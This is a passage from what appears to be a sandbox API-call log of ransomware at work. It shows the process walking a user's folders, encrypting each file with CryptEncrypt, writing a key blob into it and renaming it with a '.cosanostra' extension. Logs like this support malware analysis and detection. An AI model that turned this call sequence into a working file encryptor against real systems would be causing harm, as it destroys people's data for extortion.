dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.788] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2eqA6Vdwxd8gIow.wav") returned 59 [0097.788] StrStrW (lpFirst="2eqA6Vdwxd8gIow.wav", lpSrch=".txt") returned 0x0 [0097.789] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.789] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df57c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df57c*=0x2800, lpOverlapped=0x0) returned 1 [0097.789] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.789] WriteFile (in: hFile=0x138, lpBuffer=0x28df5bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df57c, lpOverlapped=0x0 | out: lpBuffer=0x28df5bc*, lpNumberOfBytesWritten=0x28df57c*=0x4, lpOverlapped=0x0) returned 1 [0097.789] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df57c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df57c*=0x30, lpOverlapped=0x0) returned 1 [0097.789] CloseHandle (hObject=0x138) returned 1 [0097.789] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2eqA6Vdwxd8gIow.wav.cosanostra") returned 70 [0097.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2eqA6Vdwxd8gIow.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2eqa6vdwxd8giow.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2eqA6Vdwxd8gIow.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2eqa6vdwxd8giow.wav.cosanostra")) returned 1 [0097.790] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5c0 | out: pbBuffer=0x28df5c0) returned 1 [0097.790] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5b8*=0x30) returned 1 [0097.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.790] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5b8 | out: pbBuffer=0x28df5b8) returned 1 [0097.790] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5b0*=0x30) returned 1 [0097.790] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.791] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5b0 | out: pbBuffer=0x28df5b0) returned 1 [0097.791] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5a8*=0x30) returned 1 [0097.791] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.829] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned 56 [0097.829] StrStrW (lpFirst="RecentPlaces.lnk", lpSrch=".txt") returned 0x0 [0097.879] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe95, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.879] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x28df56c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df56c*=0x16b, lpOverlapped=0x0) returned 1 [0097.879] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.879] WriteFile (in: hFile=0x15c, lpBuffer=0x28df5ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df56c, lpOverlapped=0x0 | out: lpBuffer=0x28df5ac*, lpNumberOfBytesWritten=0x28df56c*=0x4, lpOverlapped=0x0) returned 1 [0097.879] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df56c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df56c*=0x30, lpOverlapped=0x0) returned 1 [0097.879] CloseHandle (hObject=0x15c) returned 1 [0097.880] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.cosanostra") returned 67 [0097.880] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk.cosanostra")) returned 1 [0097.881] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5b0 | out: pbBuffer=0x28df5b0) returned 1 [0097.881] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5a8*=0x30) returned 1 [0097.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\w4mTjudpWCrFRApKiyqt.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\w4mtjudpwcrfrapkiyqt.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.881] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\w4mTjudpWCrFRApKiyqt.odt") returned 80 [0097.881] StrStrW (lpFirst="w4mTjudpWCrFRApKiyqt.odt", lpSrch=".txt") returned 0x0 [0097.882] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.882] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df56c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df56c*=0x2800, lpOverlapped=0x0) returned 1 [0097.882] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.882] WriteFile (in: hFile=0x15c, lpBuffer=0x28df5ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df56c, lpOverlapped=0x0 | out: lpBuffer=0x28df5ac*, lpNumberOfBytesWritten=0x28df56c*=0x4, lpOverlapped=0x0) returned 1 [0097.882] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df56c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df56c*=0x30, lpOverlapped=0x0) returned 1 [0097.882] CloseHandle (hObject=0x15c) returned 1 [0097.882] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\w4mTjudpWCrFRApKiyqt.odt.cosanostra") returned 91 [0097.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\w4mTjudpWCrFRApKiyqt.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\w4mtjudpwcrfrapkiyqt.odt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\w4mTjudpWCrFRApKiyqt.odt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\w4mtjudpwcrfrapkiyqt.odt.cosanostra")) returned 1 [0097.884] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5a8 | out: pbBuffer=0x28df5a8) returned 1 [0097.884] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5a0*=0x30) returned 1 [0097.884] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\y_ICT.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\y_ict.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.885] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\y_ICT.rtf") returned 73 [0097.885] StrStrW (lpFirst="y_ICT.rtf", lpSrch=".txt") returned 0x0 [0097.885] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.885] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df564, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df564*=0x2800, lpOverlapped=0x0) returned 1 [0097.885] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.885] WriteFile (in: hFile=0x15c, lpBuffer=0x28df5a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df564, lpOverlapped=0x0 | out: lpBuffer=0x28df5a4*, lpNumberOfBytesWritten=0x28df564*=0x4, lpOverlapped=0x0) returned 1 [0097.886] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df564, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df564*=0x30, lpOverlapped=0x0) returned 1 [0097.886] CloseHandle (hObject=0x15c) returned 1 [0097.886] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\y_ICT.rtf.cosanostra") returned 84 [0097.886] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\y_ICT.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\y_ict.rtf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\y_ICT.rtf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\y_ict.rtf.cosanostra")) returned 1 [0097.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5a0 | out: pbBuffer=0x28df5a0) returned 1 [0097.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df598*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df598*=0x30) returned 1 [0097.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\x_bV.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\x_bv.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.887] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\x_bV.ots") returned 72 [0097.887] StrStrW (lpFirst="x_bV.ots", lpSrch=".txt") returned 0x0 [0097.888] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.888] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df55c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df55c*=0x2800, lpOverlapped=0x0) returned 1 [0097.888] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.888] WriteFile (in: hFile=0x15c, lpBuffer=0x28df59c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df55c, lpOverlapped=0x0 | out: lpBuffer=0x28df59c*, lpNumberOfBytesWritten=0x28df55c*=0x4, lpOverlapped=0x0) returned 1 [0097.888] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df55c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df55c*=0x30, lpOverlapped=0x0) returned 1 [0097.888] CloseHandle (hObject=0x15c) returned 1 [0097.888] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\x_bV.ots.cosanostra") returned 83 [0097.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\x_bV.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\x_bv.ots"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\x_bV.ots.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\x_bv.ots.cosanostra")) returned 1 [0097.889] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5a0 | out: pbBuffer=0x28df5a0) returned 1 [0097.889] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df598*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df598*=0x30) returned 1 [0097.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\WI-U6Z-hl.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\wi-u6z-hl.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.890] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\WI-U6Z-hl.odp") returned 77 [0097.890] StrStrW (lpFirst="WI-U6Z-hl.odp", lpSrch=".txt") returned 0x0 [0097.890] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.890] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df55c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df55c*=0x2800, lpOverlapped=0x0) returned 1 [0097.890] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.890] WriteFile (in: hFile=0x15c, lpBuffer=0x28df59c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df55c, lpOverlapped=0x0 | out: lpBuffer=0x28df59c*, lpNumberOfBytesWritten=0x28df55c*=0x4, lpOverlapped=0x0) returned 1 [0097.891] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df55c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df55c*=0x30, lpOverlapped=0x0) returned 1 [0097.891] CloseHandle (hObject=0x15c) returned 1 [0097.891] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\WI-U6Z-hl.odp.cosanostra") returned 88 [0097.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\WI-U6Z-hl.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\wi-u6z-hl.odp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\WI-U6Z-hl.odp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\wi-u6z-hl.odp.cosanostra")) returned 1 [0097.893] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df598 | out: pbBuffer=0x28df598) returned 1 [0097.893] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df590*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df590*=0x30) returned 1 [0097.894] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\mLje W31cWrWmljT4_\\fdXrEYIVCmV-FASr6mVq.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\mlje w31cwrwmljt4_\\fdxreyivcmv-fasr6mvq.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.894] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\mLje W31cWrWmljT4_\\fdXrEYIVCmV-FASr6mVq.odp") returned 107 [0097.894] StrStrW (lpFirst="fdXrEYIVCmV-FASr6mVq.odp", lpSrch=".txt") returned 0x0 [0097.895] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.895] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df554, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df554*=0x2800, lpOverlapped=0x0) returned 1 [0097.895] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.895] WriteFile (in: hFile=0x15c, lpBuffer=0x28df594*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df554, lpOverlapped=0x0 | out: lpBuffer=0x28df594*, lpNumberOfBytesWritten=0x28df554*=0x4, lpOverlapped=0x0) returned 1 [0097.895] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df554, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df554*=0x30, lpOverlapped=0x0) returned 1 [0097.895] CloseHandle (hObject=0x15c) returned 1 [0097.895] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\mLje W31cWrWmljT4_\\fdXrEYIVCmV-FASr6mVq.odp.cosanostra") returned 118 [0097.895] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\mLje W31cWrWmljT4_\\fdXrEYIVCmV-FASr6mVq.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\mlje w31cwrwmljt4_\\fdxreyivcmv-fasr6mvq.odp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\mLje W31cWrWmljT4_\\fdXrEYIVCmV-FASr6mVq.odp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\mlje w31cwrwmljt4_\\fdxreyivcmv-fasr6mvq.odp.cosanostra")) returned 1 [0097.896] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df590 | out: pbBuffer=0x28df590) returned 1 [0097.896] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df588*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df588*=0x30) returned 1 [0097.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\MBh2v Ml5qfn9Ai.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\mbh2v ml5qfn9ai.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.897] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\MBh2v Ml5qfn9Ai.ots") returned 83 [0097.897] StrStrW (lpFirst="MBh2v Ml5qfn9Ai.ots", lpSrch=".txt") returned 0x0 [0097.897] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.897] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df54c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df54c*=0x2800, lpOverlapped=0x0) returned 1 [0097.897] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.897] WriteFile (in: hFile=0x15c, lpBuffer=0x28df58c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df54c, lpOverlapped=0x0 | out: lpBuffer=0x28df58c*, lpNumberOfBytesWritten=0x28df54c*=0x4, lpOverlapped=0x0) returned 1 [0097.898] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df54c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df54c*=0x30, lpOverlapped=0x0) returned 1 [0097.898] CloseHandle (hObject=0x15c) returned 1 [0097.898] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\MBh2v Ml5qfn9Ai.ots.cosanostra") returned 94 [0097.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\MBh2v Ml5qfn9Ai.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\mbh2v ml5qfn9ai.ots"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\MBh2v Ml5qfn9Ai.ots.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\mbh2v ml5qfn9ai.ots.cosanostra")) returned 1 [0097.899] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df590 | out: pbBuffer=0x28df590) returned 1 [0097.899] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df588*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df588*=0x30) returned 1 [0097.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\iR1hE.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\ir1he.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.899] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\iR1hE.xls") returned 73 [0097.899] StrStrW (lpFirst="iR1hE.xls", lpSrch=".txt") returned 0x0 [0097.900] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.900] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, 